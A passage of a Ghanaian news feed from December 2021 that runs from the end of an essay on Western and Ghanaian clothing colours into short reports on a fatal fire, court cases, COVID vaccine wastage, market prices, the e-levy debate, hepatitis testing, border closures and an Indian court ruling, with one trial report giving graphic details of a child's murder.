low-to-middle income earning American. And with Hollywoods technicolor invention enabling more colour than ever to appear on TV, the general public responded with real-life display of colour in their apparels. The yearn for colour and intricate patterns in clothes, was never (never!) intentionally discarded by the White folk; it is the reality of past wars and hardships that has led to their present blandness. After centuries of chasing colour with little, intermittent, interrupted successes, one can argue that the White folk had no option but to grow discouraged and tired of colour. Its like the poor boy who after chasing the girl for so long without success, ends up conversely developing a bad taste in his mouth for her. Because in 2014, Barack Obama went to find trouble by ditching the expected black suit and pant combo, and wore instead a beige-coloured suit. America lost its mind over that! This was news and subject of countless panel discussions, endless media publicationsold and new mediamagazines, newspapers, etc. Public interviews were conductedpassers-by, average Americans, were asked their take on the Presidents suit. Each person interviewed, shared their point of view with utmost seriousness. One politician commented that the suit indicated a lack of seriousness in the President. Sitting here in Ghana, watching on, it was as though watching kids play nkuro. For one tan suit to incite such national conversationthat had to be nkuro! America, like very much the rest of the West, has been unsuccessful shaking itself off its pastin this particular case, its fashion past, perhaps just as the African has been, doing so, its colonial past. Borrowing All to the Extent of Pain Because it is this same colonial past that has necessitated this problem. That in deciding on clothing, the African, the Ghanaian, has to be bound by the West, who in turn are ridiculously bound by their own past. We are, for all intent and purposes, learners in this global space, with the West, teachers. We blindly copy all the West does, and in so doingas blindly as we go inwe end up copying even their flaws, their pain, their tragedies. Our journey as a people has been left vastly uninformedby that I mean heavily informed by anothers culture, a culture necessitated by these nations own peculiar set of experiences and histories. I dont know about you, but I dont have any German bombers to hide from, only the endless bombarding of Western culture. Thats an airstrike we face on a daily. Their Practicalities, Their Idiosyncrasies You see, the purported lisper King Ferdinand of Spain, he did not choose to speak that wayhis tongue might have been just a tad too big for his own mouth. The West, they did not choose to be this drab in their clothing. I mean, these are entire nations of people, who, during the war, in order to wear bracelets, had to devise these accessories from crashed windscreens of fallen German aircrafts. One could call this act a euphemised version of impaling the decapitated head of a defeated enemy on a spikebut no, this was a fashion sense necessitated by war. These were nations which carefully revised all life around them, in this case, their fashion sense, to fit each and every national event they went through. The American man, for instance, began to dress less formally after WWII. Coming right from the belly of war, this often-time cruel notion of gentility, one that at times limited mobility, was rendered nonsensical, and for a while, discarded. Of course, the American picked it right back up after the nations economic ascension following the war, and the average citizenry had more money in their pockets than ever to blow away. The Pale White Folk: On the Loss of Colour We would be doing ourselves a huge disservice if we sought explanations for personhoods, nationhoodsours and othersthrough history only, ignoring the present. So, lets hear from some Europeans and Americans as they share the reasons to this question, Why do some in the West wear mostly black, grey, or white colours? Dont they like colours? I think it is mostly down to confidence and a lack of imaginationI think wearing of black and other unassuming dark colours also comes down to the weather. I am from the UK where we have drab, overcast winters. It gets dark at around 3:30 in the afternoon, and it doesnt get light again till 7:30 in the morning, so there is a general lack of light, ergo I think colour comes as a visual shock to many of my fellow countrymen. We tend to associate colour with sunshine and things growing. Personally, I love colour and wear as much of it as I can all year round. It has the power to lift the spirits, particularly in winter. One insightful British person commented. Traditional American costume, in so far as we have any, isnt colourful. These are what early Americans looked like [she attaches a picture of some old age Caucasian Puritans draped in rag-coloured apparel] contrast with this traditional costumes of India [she inserts a picture of a painting featuring a colourfully dressed female subject]. That said, 95% of my wardrobe is camel, black, or white. I dont wear much colour because I dont know how to deploy it in a sophisticated way. There are certain women who can, but Im not one of them. Its broadly true that in major metropolitan areas of the United States, aside from ones in warm climates like LA and Miami, people dress in neutrals. In part, its crowd mentalityyou want to blend into the urban environment; you dont really want to be the person wearing teal or purple in the crowd of grays and navy blues and blacks. Or at least, I dont. An American commented. Many of these commenters attributed their dull colour clothing choices to the weather, crowd mentality, and a general lack of confidencethe fact that that is whats being done (a fact inherited from their peculiar histories as a people). I believe it is at this point that our Nigerian brothers and sisters will ask so what be your own? Ghana, what be your own? Why these gloomy, purported official clothes were donning? In the West (being in the temperate regions), as the weather meets them with a gloomy face, they respond with gloomy outfits. Unlike us in the tropical regions of the world, where its summer majority of the year, we compete with blossomed flowers over looks. When nature brags, See these birds singing and frolicking about my infinite space of blue skies, we respond, See Ive got birds right here on me, on my clothing. They might not sing, but unlike yours that compulsively fly away, mine sit perpetually and obediently perched! Taking colour away from the Ghanaian or African apparel, you must as well strip our lands off their golds. Colour and pattern are as integral to our past as they are to our present. Because in our case, unlike the White folks case, colour has been successfully attained and subsumed in our culture. And our present, courtesy our glorious weather, remains a fertile soil for colour. When we find ourselves not abreast of our historyas they are, comparative with otherswe find ourselves often taken for a ride, moving with the speedy, windy whims of others, and in the end, end up with a lisp, or a stammeror in this particular case, sad, dull, funeral clothes as standard measures of gentility. The funny thing in this all is that should the White folk decide right this very minute, that colourful and pattern-filled clothing is the intellectual waythe way of the lady and gentleman, the professional way, we here, in Ghana, Black folks, will immediately issue our own corresponding directive, Pattern and Colour, thats the Path to Honour! 3y3 asem oo. [Published in the Business & Financial Times (B&FT) - 15th December, 2021] The mother of a three-year-old girl who was burnt beyond recognition in a fire outbreak at Ejisu Tikrom in the Ashanti Region has called on the Ghana Police Service, the Ghana Fire Service to investigate thoroughly the real cause of the fire outbreak that led to the death of her child. The 18-year-old mother, Amoah Portia, told this reporter that she suspects the fire outbreak was orchestrated by an arsonist. She appeals to the security services to investigate and bring the perpetrators to book. "I was the first to get out when the fire began to raze down our house and was greeted with a pungent smell of something believed to be petrol. "I also discovered that our house was circled with a liquid, and I have no doubt that fluid is a combustible element the arsonist might have used to commit that heinous crime," she stated. Portia added, "I'm convinced that whoever perpetrated the act of arson did so with a criminal intent calculated at destroying my family." Fire incident Confirming the fire incident to this portal, the Ashanti Regional Fire Commander ACFO Henry Giwa said three-year-old Patience Ohemaa Ampaw was burnt beyond recognition in the sad incident at the dawn of Tuesday, December 14. "We received a distress call around 2:50AM on Tuesday and so we dispatched fire tenders to the area, the fire had already engulfed the entire house, but our officers did well to contain it." He indicated, "About 14 rooms were destroyed with several "other properties destroyed in the process. "Our team have commenced Investigation into the incident and am sure we will soon come out with the cause of the fire." Some 1,900 Primary Four Pupils from 67 Public Schools would be writing the National Standardized Test (NST) in 11 Examination Centres in the Kadjebi District on Friday. The centres would be managed by 11 Supervisors, 4 Assistant Supervisors and 66 Invigilators. Mr Christopher Agorkli, the District Examination Officer disclosed this to the Ghana News Agency (GNA) in an interview at Kadjebi in the Oti Region. Mr Agorkli said Ghana's recent Education Strategic Plan, 2018-2030 seeks to improve equitable access to and participation in inclusive quality education at all levels. He said the Plan also sought to improve the quality of teaching and learning and STEM at all levels and also to promote sustainable and efficient management, financing and accountability of education service delivery. The Examination Officer said, among the offshoots of the Plan is the introduction of the National Standardized Test (NST), which is to measure the learning outcomes of the educational reform at the basic level. He explained that the data collected from the NST would inform policy review and formulation with respect to classroom teaching and learning. Mr Agorkli said the test, which would be administered to learners in Primary Four (P4) at the basic level would find out the extent to which learners have covered the content of the teaching curricula approved by the Ministry of Education in Ghana. The Examination Officer said the assessment would measure pupils' performance in English and Mathematics and would seek to answer the question; Are learners achieving a minimum competency or proficiency in English and Mathematics? and How are learners performing in English and Mathematics as a whole on a national basis?. He advised the testees to conduct themselves well during the examination. Mr Seth Seyram Deh, the Kadjebi District Director of Education appealed to the pupils to avail themselves for the examination. Mr Deh said the deficiencies identified during the assessment would inform policy planners and implementers how to address them. He said the success or failure of the exercise depends on all, so everyone must get involved. Mr Deh also advised the Supervisors and Invigilators not to encourage examination malpractice since it had the tendency to mar the essence of the assessment. Master Dzidula Hodzor, a P4 Pupil of Kadjebi D/A Primary School in an interview with GNA said, they were told that the examination was set by the West African Examination Council (WAEC) would assess and prepare them for class five. Master Hodzor said they would be examined in English Language and Mathematics and that he would garner 80 per cent in English Language and 62 per cent in Mathematics. Ms Tafic Labiba, another pupil of the School said she was well prepared for the examination and that she would secure 60 per cent in English and 54 per cent in Mathematics. Mr Emmanuel Kafui Kofi Hodzor, the Headteacher of the School lauded the government for the policy because it would prepare the pupils towards external examinations. Mr Hodzor said the situations where students got frightened during examinations would be a thing of the past since they were being examined right at the primary level. He said the assessment would also enable the pupils to know their capabilities and what academic programme to pursue in the future. GNA Two persons who broke into two different homes at Legon Hills in Accra stealing home accessories, personal effects and GHS46,000 cash have been jailed for eight years each by an Adentan Circuit Court. The accused persons: Sumaila Mahama, a 32-year-old driver and Samuel Agyei, a 36-year-old Casual labourer, however made a sign of the cross and thanked the trial judge Mrs Sedinam Awo Balokah after they have been sentenced. The Court said: "Accused are hereby sentenced to eight years imprisonment each in hard labour." The two accused knelt and thanked the trial judge, Thank you my Lord. Mahama was being held for possession of a foreign pistol. Mahama and his accomplice Agyei have been variously charged with conspiracy to steal, stealing, unlawful entry and causing damage. They pleaded guilty and prayed to the Court to have mercy on them. Prosecuting Superintendent of Police Patience Mario narrated that the complainants in the case are Kwame Adu Darkwa and one Fawan Issah Iddi, resident of Legon Hills. Supt. Mario said on December 5, 2021 at about 1:59 am the Lakeside District Police Patrol received a distress call that accused persons have broken into Mr Kwame Adu Darkwa's house at CPL Estate, Legon Hills. The prosecution said the Police rushed to the scene, but the accused persons managed to escape before the team got there. The Prosecutor said the complainant searched through his things and found out that the accused persons had stolen his Rolex Gold watch. Supt. Mario said the team searched the area and they observed that accused persons had also broken into Fawan Issah Iddi's house. According to the prosecution, the team detected that Mahama used a car jack to force open one of the windows and entered the house. It said Mahama picked Dell and HP laptops, an Apple watch, an IPad and a bag containing GHS46,000. The prosecution said Mahama passed the items on to Agyei who was standing behind and he put the items in a blue backpack. The accused person managed to remove a 65-inch TV through the main door of the house. Supt. Mario said immediately accused persons stepped out, they saw the Police had surrounded the house, then abandoned the stolen items in a nearby bush. Agyei was nabbed by the team. Agyei led the Police to Agyei's get-away KIA Morning Saloon Car with registration number AC123-19 parked by the road. Prosecution said the Police laid ambush and they managed to arrest Mahama who showed up to drive off the vehicle after escaping. When Mahama was searched, a foreign revolver pistol loaded with four rounds of ammunition was found. Prosecution said Agyie led the Police to the bush where he dumped the backpack but the same could not be found. The Court has ordered that the revolver found on the accused should be sent to Ghana Police Training School at Tesano and the TV set be given to the owner. GNA An Accra High Court has empanelled a seven-member jury to hear the case of Lucas Agboyie, a Togolese national, who allegedly defiled and strangled a seven-year-old girl at Atadeka-Zenu, near Ashaiman in 2015. Agboyie aka Sympathy, Sky lover, Agbey, Gabriel had been committed to stand trial by a District Court for murder. The victim, now deceased, was said to have passed by a metal container where Agboyie resided, and he abducted and killed her. The seven-year-old girl was sent by her mother with a GHS20 note to buy bread but never returned. The body of the girl was found lying supine on an old student's mattress, with blood oozing from her mouth and nostrils in Agboyie's metal container. Agboyie has however denied the charge of murder and has been lawfully remanded into prison custody. The Court presided over by Mrs Justice El-Freda Dankyi has adjourned the matter to January 12, 2022. The prosecution and defense counsel would address the jury. Mrs Francisca Tete-Mensah, a Principal State Attorney, represented the state, while Mr Sani Rashid represented the accused. At the District court in the year 2016, accused person had confessed to killing the seven-year-old, after which he had sex with her corpse. On November 25, 2018, Agboyie's counsel from the Legal Aid Scheme, Mr Eric Opoku, filed an application seeking for an order for a psychiatric examination to be conducted on his client. Counsel held that he was unable to have meaningful interactions with his client to mount any defense for him. On February 25, 2019, Mr Opoku moved the application, which was subsequently granted by the Court. Consequently, a psychiatric examination was conducted on the accused to ascertain fitness to stand trial. The victim (Ruth Ankomah) was a pupil at a school in Zenu, Ashiaman. On April 19, 2015, at about 0800 hours, her mother prepared porridge and gave the victim GHS20.00 to purchase bread at a nearby shop for breakfast. The victim's mother after waiting for a long time without the victim's became alarmed and started searching for her in the area but to no avail. Later, the victim's mother was informed that the accused was seen pulling the victim into his container. A search team was mounted, and they found the body of the victim lying supine on an old student mattress with blood oozing from her nostrils and mouth. A search team arrested Agboyie during the search and he confessed killing the victim and having sex with her for an hour. Accused during interrogation explained that he wanted to have sex with the victim, but she screamed hence he strangled her after which he had sex with her. When the Police visited the scene in April 2015, bruises were found on the neck of the deceased with her vagina swollen while her pants, sandals and dress were lying beside her. The Police also discovered two wrappers of cannabis sativa, GHS10, an NHIS and another Hospital card, bearing the name of Obeng Oscar. The deceased body was deposited at the morgue and autopsy conducted indicated that the deceased died as a result of consistent strangling. GNA Large quantities of COVID-19 vaccines in the Volta Region have expired amid vaccine hesitancy. According to the Ghana Health Service in the Volta Region, vaccines that went to waste in the region during the last vaccination campaign were significantly above the national average. For the last campaign we had, the wastage we had was close to 10 percent which was way beyond the national average, the Deputy Director in charge of Public Health, Dr Senanu Djokoto, said to Citi News. He stressed that this was unacceptable because one vaccine dose is $15 so if we are going to have that much expired, that is a lot of money lost for the country. Dr. Djokoto, however, said that this development must not reflect badly on health workers in the region. The fact that we have had some of the vaccines going bad or expiring does not in any way mean the health workers are not working. They are doing their best. He indicated that 230,000 people have received at least one dose of the vaccine in the region. The region is still contending with low turnout at vaccination centres. Dr. Djokoto said this challenge was despite the service having gone to great lengths to educate the people on the need to vaccinate. We know that we would be putting the more vulnerable people at greater risk if we dont [vaccinate]. Dr. Djokoto says his outfit is also having to battle misinformation on COVID-19 vaccine. One problem has been a song that has gained popularity in the region. It wasnt meant to be against the vaccine, but it can be interpreted easily to be an anti-vaccination song, Dr. Djokoto added. He added that the Ghana Health Service is in talks with the management of the musician to make sure such songs do not affect the public's understanding of the vaccine. ---citinewsroom Traders in the central business of Koforidua have expressed worry over the sluggish sale of goods leading to loss in profit margins. As Christmas draws closer, many marketers expect a boom in trading activities, but the situation seems different as many of them complain of bad market. Mr Kofi Appau, a boutique operator, told the Ghana News Agency in an interview that the inclination of the public to purchase has diminished, largely due to no money in the system resulting in loss of income. He said because he had invested heavily into garments in anticipation of getting high patronage during this Christmas season but things have turned out differently. Mr Razak Banda, a shoe seller, said he recorded high sales was at the beginning of the year; January - August, but started experiencing low patronage in the last quarter of the year. However, he was optimistic that trading activities would pick up during the Christmas holidays to make up for the losses. The market situation with hairdressers looked good as dealers of hair and body cream products recorded moderate sales despite general inactivity. Mrs Helina Aboagyewaa, a Hairdresser, reported getting customers to braid their hair with different styles like a French braid, waterfall braid, fishtail braided bun, and spiral lace braid. She reminded the public to keep observing the COVID-19 protocols before, during, and after the Xmas season by keeping to wearing a nose mask, washing hands with soap under running water, avoiding handshakes, and getting vaccinated. Some public and private sector workers said they were not prepared for shopping because they had not received their salaries while others were waiting for discounted sales. GNA 15.12.2021 LISTEN A Former Director of Finance and Administration of the New Patriotic Party (NPP), Dr Charles Dwamena (Dr China) has urged the party not to neglect persons who dedicate themselves and their resources to the party. Some foot soldiers over the years have complained that despite their work, some of them are neglected when the party comes to power and therefore at times, they either have to leave or pull back their support. Speaking on Atinka TV s morning show, Ghana Nie with Ekourba Gyasi, Dr Charles Dwamena observed that some persons used their resources or sold their properties to support the party at some point but they were currently on retirement and do not have money. He said some also served the party well but are facing hardship after losing elections. Someone used to have money but maybe he spent his money or sold his property to help the party and is now on retirement. Because they do not have money, they may be shy and so cannot say it but they wail inside, we do not have to wait for such people to die before we do big funeral for them. Lets help them by setting up welfare fund for them. That, he said will encourage even children of such persons to work hard for the party. He said the party should send resources to constituencies every month to support the work by members. ---atinkaonline Majority Leader Osei Kyei-Mensah-Bonsu 15.12.2021 LISTEN The Majority Leader in Parliament, Hon. Osei Kyei-Mensah has urged the Minority to accept the Electronic Transaction Levy (E-Levy) to help the government embark on developmental projects next year when the 2022 budget is approved. Speaking to the media on Wednesday, December 15, 2021, the Majority Leader who is the Minister of Parliamentary Affairs said the country needs the E-Levy to fix roads and settle debts owed contractors. The e-levy, we are told in fact, the Road Fund contributes something but its not much; the road tolls, yielding altogether about GHS72 million a year. What is it going to do? But, in the meantime, that section of the road where you have the road tolls, often because they stop there, the roads end up being warped and furrowed. So, you have ridges and furrows at that place. So, every year, you have to maintain that portion of the road. Its the GHS78 million that you collect that you are going to use some to even maintain those sections of the road. How much is left? Hon. Osei Kyei-Mensah bemoaned. He said from the projections of the E-Levy and the money likely to be accrued, it will help government embark on the needed road and developmental projects to move the country forward. The e-levy, we are told, is going to yield about GHS8 billion as opposed to GHS78 million. That will yield enough for us to be able to do the roads, the Majority Leader said while adding, Of course, I do know that its not everything that is going to be used for the construction of roads but if you have GHS8 billion, GHS9 billion from the e-levy, its going to be substantial for you to be able to engage in development programmes and projects. So, the dialogue sessions indicated to us that we needed to do this. Despite the plea for a ceasefire, the Minority is not giving in and still holds the position that the E-Levy will bring hardship on Ghanaians. The Minority hence remains bent on rejecting the E-Levy in the 2022 budget. The Ejisu Command of the Ghana National Fire Service (GNFS) has begun investigations into the cause of a fire outbreak at a 14-bedroom house at Tikrom, which claimed the life of a three-year-old girl. The girl, identified as Patience Obideaba, was burnt beyond recognition when the fire gutted the house on Tuesday dawn, December 14, this year. Her body has since been buried. Mr Iddrisu Nafew Mohammed, Ejisu Municipal Fire Commander, told the Ghana News Agency in an interview that officers were on the scene conducting investigations to ascertain the cause of the fire outbreak in the house and a nearby wooden structure. He said the Command received a distress call around 2:15 am on Tuesday that there was a fire outbreak at Tikrom. Mr Nafew said officers responded to the call and on their arrival, the whole building was in flames and they had to call for reinforcement from a nearby fire station before they were able to douse the fire. We are still doing our investigation to know the cause of the outbreak. This morning I have sent my team to continue with the proceedings of the cause, the commander said. He urged the public to call the official fire service emergency line, 192 when there was any fire outbreak. What we have observed is that, when there is an outbreak, the number to call is always a problem, the public should call the official line which is 192, he said. Mr Nafew also appealed to the public to make sure their electrical appliances were off before they stepped out of the house. I want to use this opportunity to appeal to the general public as matter of urgency to turn off their electrical appliances and other plugs before stepping out of the house to prevent fire outbreak and loss of properties, he appealed. GNA 15.12.2021 LISTEN Prices of foodstuffs at some markets in the Cape Coast Metropolis in the Central Region, have gone up ahead of the Christmas celebrations. Traders have complained of low sales though they had stocked their shops with a variety of the most purchased products during the Yuletide. Inquiries by the Ghana News Agency (GNA), indicated that the prices of foodstuffs and livestock have gone up as Christmas approaches. At the Abura market, Mr John Eshun, a livestock trader told the GNA that goats sold between GHC 300.00 to GHC 450.00 while smaller ones were from GHC 200 to GHC 250. Another livestock trader Mr Evans Attakorah said his broilers sold between GHC 45 to GHC 60, adding that they were selling between GHC 35 to GHC 55 a few months back. Mrs Efua Tachie Mensah, who sells rice told the GNA that five kilograms of perfumed rice sold between GHC 37.00 to GHC 70.00, depending on the brand. She said before December, she was selling the same brands between GHC 34 to GHC 65 adding that the sudden increase in prices has greatly affected sales. Ms Doris Sam a tomatoes and onion seller, stated that buyers over some time have been complaining about the sudden rise in prices. We sell five average tomatoes for five cedis and same for onions, they still buy anyway, maybe because they have no choice . She called in the Government to help stabilize prices by reducing fuel so that buyers would not feel cheated and help grow their businesses. She was however optimistic that trading will improve in the days ahead into the New Year. GNA The Majority Leader in Parliament, Osei Kyei-Mensah-Bonsu, has urged the Minority to give up on their stance against the approval of the 2022 budget. He said it is baffling that the Minority side which is already part of committees approving the various appropriations, would turn around and demand the rejection of the 2022 budget statement. There are colleagues who said they were upset, but they are now together in committees considering estimates. If the budget is rejected, why are you together considering the estimates? How can you come back and say that we should go back and reject the budget? I think that will be taking us back. We should allow sleeping dogs to lie, he said. The First Deputy Speaker of Parliament, Joseph Osei-Owusu, had rejected a motion filed by the Minority Leader, Haruna Iddrisu, against his ruling reversing the rejection of the 2022 budget on December 1, 2021. Speaking to journalists in Accra, the Minister of Parliamentary Affairs said the Minority must compromise. I want to believe that we will let sleeping dogs lie because we have moved beyond that, he said. Despite the tussle over the approval or otherwise of the 2022 budget statement, some committees of the house commenced consideration of the budget estimates for the 2022 fiscal year, a week ago. The leadership of Parliament has also constituted a bi-partisan Committee to resolve disagreements over the approval or otherwise of the government's 2022 budget statement and economic policy. The Committee is composed of ten members from each side of the house. Dr Yvonne Nartey, a Physician Specialist, Cape Coast Teaching Hospital, and other health experts, are appealing to the government to consider enrolling the testing and treatment of Hepatitis 'B' and 'C' onto the National Health Insurance Scheme. If the average Ghanaian earns about GHS928 a month and needs to use about GHS850 to conduct a Hepatitis abdominal test, what will the person live on and how will the person selling on the streets afford to go for a test, she said. They appealed on Wednesday at a Hepatitis Evaluations to Amplify Testing and Treatment (HEAT) Local Coalition Closing Meeting spearheaded by the Ghana Health Service, Ministry of Health, Hepatitis Foundation of Ghana, The Task Force for Global Health, and Coalition for Global Hepatitis Elimination, in Accra. Dr Nartey said the cost involved in testing and treatment of the disorder deterred many people including expectant mothers from conducting tests to ascertain their status and seek healthcare. Hepatitis is a disease characterized by inflammation of the liver by the Hepatitis virus. It can be contracted through unprotected sex, saliva, semen, vaginal secretions, and contaminated shared needles and syringes, and sweat according to some researches. She disclosed the status while presenting a report on an epidemiologic assessment conducted to understand the burden of Hepatitis disease, laboratory testing capacity, developing a budget-based plan to guide the scale-up of testing linked to rate, and convening a coalition of stakeholders to put the plan into action and implementing testing. They collected data from five teaching hospitals, six regional hospitals, three district hospitals, four Christian Health Association of Ghana hospitals, one quasi hospital, and two public health reference labs. According to the report, hospital labs recorded 101,547 Hepatitis 'C' status from 2016 to 2020 and 1,269 Hepatitis 'B' profile records from 2019 to 2021. Blood Banks through blood donation recorded 35,458 Hepatitis 'C' statuses from 2017 to 2020, pregnant women noted 7,585 antenatal clinic records between 2018 and 2020, and 83,920 Cirrhosis and liver failure problems related to Hepatitis killed 1,058 patients from 2017 to 2020. Dr Nartey, also an Epidemiologist, said the Upper East, Upper West, and Savannah regions had a high burden of Hepatitis B and C nationwide, adding that the failure on the part of patients to test for Hepatitis C, partly due to little or no knowledge of its existence and cost involved, resulted in the fallacy that Hepatitis B was more common than C. Globally, she said the health sector strategy on viral hepatitis included Hepatitis 'B' vaccination, prevention of mother to child transmission, injection and blood safety, harmful reduction, testing, and treatment of Hepatitis B and C. The Epidemiologist mentioned procurement challenge, cost of PCR, equipment breakdown, and lack of maintenance and reagent shortage as some of the bottlenecks to testing as reported by labs. On the field, she said the national exercise unearthed that community health planning and services compounds and health centres performed little to no Hepatitis B and C tests, and there were poor linkages to care for positive and negative persons after testing. Moreover, there was the unavailability of Tenofovir drugs in hospital pharmacies for Hepatitis therapy, and poor reporting of cause of death, and data capture of mortalities. Dr Atsu Godwin Seake- Kwawu, the Programme Manager, said the data collected, had revealed the reality of the Viral Hepatitis cases in the country and the inability of people to afford the test and treatment. The data, he explained, would be used to create awareness and draw the attention of the Ministry of Health to strengthen partnership to make life bearable for people suffering from the inflammation. We need to have appropriate health care centers, test kits and also make investigations nearly close where people can easily go and access", he said. He urged authorities to amplify the cause and translate the results into concrete action to benefit the people, adding that the goals of the project could only be achieved through hard work and implementation. Dr Theobald Owusu-Ansah, the President of Hepatitis Foundation of Ghana, admonished the government to help train more physicians at all district levels to help in the testing and treatment of Hepatitis cases. We also need to introduce a birth dose of Hepatitis B vaccine to prevent mother-to-child transmission so that by the next decade to come, people will be free from Hepatitis B challenges," he said. He charged the youth to endeavour to regularly check their Hepatitis status to be sure of their status to know the next appropriate step to take. GNA MTN Ghana has handed over a 24-unit classroom block to the Ghana Police Services Depot School at Tesano in Accra. The GHS 3.4 million facility contains a Nursery and Kindergarten, a Primary School Department, and a Junior High School Department serving a student population of approximately 2,500. Delivering the keynote address on behalf of the President, Minister for Communication and Digitalization, Hon. Ursula Owusu-Ekuful applauded MTN Ghana for the amazing job of providing a safe place for teaching and learning. She urged the students to take their lessons especially ICT seriously as it will connect them to wider and limitless opportunities in Ghana and other parts of the world. Speaking at the event, CEO of MTN Ghana, Selorm Adadevoh, said Our motivation for taking on this project was fueled by our understanding that the school had been operating from a colonial, weak and dilapidated structure with no decent washroom facilities, library nor ICT laboratory. I am delighted to be here today to handover this 24-unit classroom block to the Ghana Police. It is really refreshing to know that 18 months investment in time, resources and labor has produced this beautiful new classroom complex that has been put up for the Police Depot School, Selorm Adadevoh said. The new facility will ease the current pressure on the school and catchment area and will provide a more comfortable learning environment for teaching and learning, he added. On his part, the Board chairman of the MTN Ghana Foundation Prof. Franklyn Manu said, The MTN Ghana Foundation was established with the mission to improve the quality of lives of people through life enriching and sustainable corporate social responsibility interventions in communities where MTN operates. This project is a typical example of what we set out to do as a Foundation which is to identify socio-economic issues affecting our society and then partner the relevant stakeholders to find lasting solutions to them. Commissioner of Police, Alex Mensah, Director General Technical of the Ghana Police thanked MTN Ghana for single handedly building such a magnificent facility for the school. To MTN all that we can say, as it is in Macbeth is More is thy due, than more than all can pay. We are very grateful and shall always remain grateful to you anytime we enter this edifice, COP Mensah stated. The dignitaries who attended the ceremony included the South African High Commissioner to Ghana, Madam Grace Jeanette Mason, Deputy Minister of Education, John Ntim Fordjour, Board Chairman of the NCA, Mr. Isaac Emmil Osei-Bonsu, Director General of NCA Joe Anokye, CEO of the Ghana Telecoms Chamber, Dr. Kenneth Ashigbey, MP for Okaikwei South Constituency, Honorable Darkoa Newman, Municipal Director for Education Cynthia Obuni and other Directors of Education, Officials of the Ghana Police Service and the Police Training School, School Authorities, PTA Members, Pupils and Students of Ghana Police School. The dignitaries from MTN were Board Chairman of the MTN Ghana Foundation, Prof Franklyn Manu, Mrs. Nabila Williams, Board member of MTN Ghana Foundation, some Officers of MTN and staff. Since its establishment in 2007, the MTN Ghana Foundation has invested USD 15 million in over 158 major projects in the areas of education, health and economic empowerment which are directly impacting an estimated 4 million and several others indirectly. Education is one of three focus areas of the MTN Ghana Foundation. Out of the total number of projects, the Foundation has invested in 87 education projects and they include ultra-modern Technology Laboratory for the Ghana Institute of Public Administration (GIMPA), ICT Centers for Takoradi Technical Institute, Koforidua Technical University, Bonsu Agric University and the Assistive Technology Unit at the University of Ghana, boys dormitory block for Akropong School for the blind, a six-unit classroom block for Kodjonya Millennium School and eight unit dormitory block for Owerriman SHS. The Foundation has also provided over 1000 scholarships for needy and brilliant students across the country under its Bright Scholarship scheme. In the wake of fears of a possible spread of the Omicron variant, President Nana Addo Dankwa Akufo-Addo has advised against the reopening of Ghanas land borders. Addressing the nation on Wednesday, December 15, 2021, the President said the decision forms part of the governments efforts at preventing the fourth wave of Covid-19 in Ghana. We are monitoring the level of threat of the disease and ongoing vaccinations in our neighbouring countries, and, as soon as we are satisfied that it is safe to do so, the borders will be opened. Until then, I believe this is not the right time to reopen our land borders, especially as we are determined to prevent the 4th wave, and, as such, they will remain closed until further notice, the President stated. While acknowledging the challenges caused by the closure of the countrys land borders, the President said the move is in the best interest of the country. To my fellow Ghanaians living along the borders of our nation, I know of the difficulties occasioned by the closure of our borders. As you know, the decision to close our borders, which are a source of livelihoods for many, was necessary because we wanted to limit the importation of the virus into the country. President Akufo-Addo in March 2020 ordered the closure of the country's borders as part of efforts to prevent the spread of the coronavirus. The land borders have only been allowing the passage of cargo. Residents of Elubo in the Western Region and Ketu South in the Volta Region have protested to demand the immediate reopening of the Elubo and the Aflao borders, respectively. The residents said the continuous closure of the land borders is negatively affecting their livelihoods. citinewsroom Ghana spent an estimated total of GH6.874 billion on the importation of rice from 2017 to 2020. In addition, the country also imported the following food products from 2017 to 2020: They include Fish - GHc3.993 billion, Chicken (processed) GHc1.881 billion, Meat - GHc487 million, Vegetables GHc281 and Poultry GHc184 million. Mr Allan Kyeremanten, Minister for Trade and Industry made the disclosure when he appeared before Parliament to respond to a question by Mr Murtala Muhammed Ibrahim, Member of Parliament (MP) for Tamale Central how much the state spent on the importation of rice and other foodstuffs into the country in the past four years. Mr Kyeremanten also acknowledge from the figures provided that the country was spending close to US$1 billion on the importation of food items. Responding to a question whether the government has lifted a ban on small rice importers, Mr Kyeremanten stated that rice was a staple food in the country and one had to maintain a delicate balance between the quantity of rice produced locally at any point in time and what was important was to ensure that there were no serious shortages. He said the Ministry of Trade and Industry, and the Ministry of Food and Agriculture continue to monitor the production of rice, and at the appropriate time when the volumes of local rice increase significantly the government would be able to restrict the importation of rice. Mr Kyeremanten also maintained that the government has not lifted any ban imposed on the small rice importers but the Ministry has a management policy to ensure that there were no shortages in the system. He noted that as and when there is significant local rice production in the country the Ministry would be able to determine at that point what decision to take in respect of the ban. GNA Banking operations in India will be affected on December 16-17 with about 10 lakh bank employees going on strike to protest privatisation of government banks. The strike call was given by the United Forum of Bank Unions, an umbrella body of nine unions in the banking sector. All India Bank Employees' Association General Secretary C.H. Venkatachalam said that at the conciliation meeting held in Delhi on Wednesday, where representatives of Indian Banks' Association (IBA) and the Finance Ministry were also present, the unions reiterated that they would defer the strike if the Central government assures them that it would defer the introduction of Banking Laws (Amendment) Bill 2021 in Parliament. "The government could not give any such assurance to us and hence the two day strike stands," he said. "The strike is to defend and preserve public sector banks and oppose privatisation of Banks," he added. The government had earlier said it would privatise two of its banks. Disclaimer: Information, facts or opinions expressed in this news article are presented as sourced from IANS and do not reflect views of Moneylife and hence Moneylife is not responsible or liable for the same. As a source and news provider, IANS is responsible for accuracy, completeness, suitability and validity of any information in this article. The Supreme Court on Tuesday said that the adjudicating authority (NCLT) and appellant authority (NCLAT) under the Insolvency and Bankruptcy Code (IBC) cannot compel parties to settle a dispute. A bench of Justices D.Y. Chandrachud and A.S. Bopanna said: "The adjudicating authority is empowered only to verify whether a default has occurred or if a default has not occurred. Based upon its decision, the adjudicating authority must then either admit or reject an application respectively. These are the only two courses of action which are open to the adjudicating authority in accordance with Section 7(5). The adjudicating authority cannot compel a party to the proceedings before it to settle a dispute." The bench added that settlements have to be encouraged because the ultimate purpose of the IBC is to facilitate the continuance and rehabilitation of a corporate debtor, as distinct from allowing it to go into liquidation. It added that the adjudicating authority and appellate authority, however, have proceeded to do in the present case is to abdicate their jurisdiction to decide a petition under Section 7 by directing the respondent to settle the remaining claims within three months and leaving it open to the original petitioners, who are aggrieved by the settlement process, to move fresh proceedings in accordance with law. "Such a course of action is not contemplated by the IBC. The IBC is a complete code in itself. The adjudicating authority and the appellate authority are creatures of the statute. Their jurisdiction is statutorily conferred. The statute which confers jurisdiction also structures, channelises and circumscribes the ambit of such jurisdiction. Thus, while the adjudicating authority and appellate authority can encourage settlements, they cannot direct them by acting as courts of equity," it said. The primary question was whether the National Company Law 